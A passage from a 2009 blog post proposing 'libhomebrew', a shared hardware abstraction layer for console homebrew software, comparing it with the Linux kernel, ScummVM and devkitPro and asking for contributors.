  • platform hackers would profit too: instead of porting SDHC drivers or libmad to yet another console, they could just add a libhomebrew HAL backend for their hardware, automagically gaining all the libs (and many apps).

  • library maintainers could integrate libhomebrew support into their libs, without the fear of creating a forest of hardware adaptations.

*yawn* This is all old news!

Of course, this is nothing I could file a patent for (I would not blog it if it was ;-)). The basic idea already exists for decades in many different implementations, however not in such a homebrew-centric way so far.

The three projects most similar to the presented idea are:

  1. The Linux kernel is exactly that, plus a huge pile of bloat completely superfluous for console homebrew.

  2. ScummVM is an adventure game "emulator" with a large set of platform backends.

  3. devkitPro provides homebrew toolkits for several different platforms, but no common hardware abstraction as far as I could see.

Progress of libhomebrew

So far, all there is is a libhomebrew wiki page on the free60 wiki. After all, I am only one person with a full-time job not related to homebrew in any way.

However, I hope to find some interested developers who are tired of re-writing drivers and porting yet another lib to their favourite platform.

Contribute or at least spread the word!

Posted 2009-12-12 21:26 Tags: hardware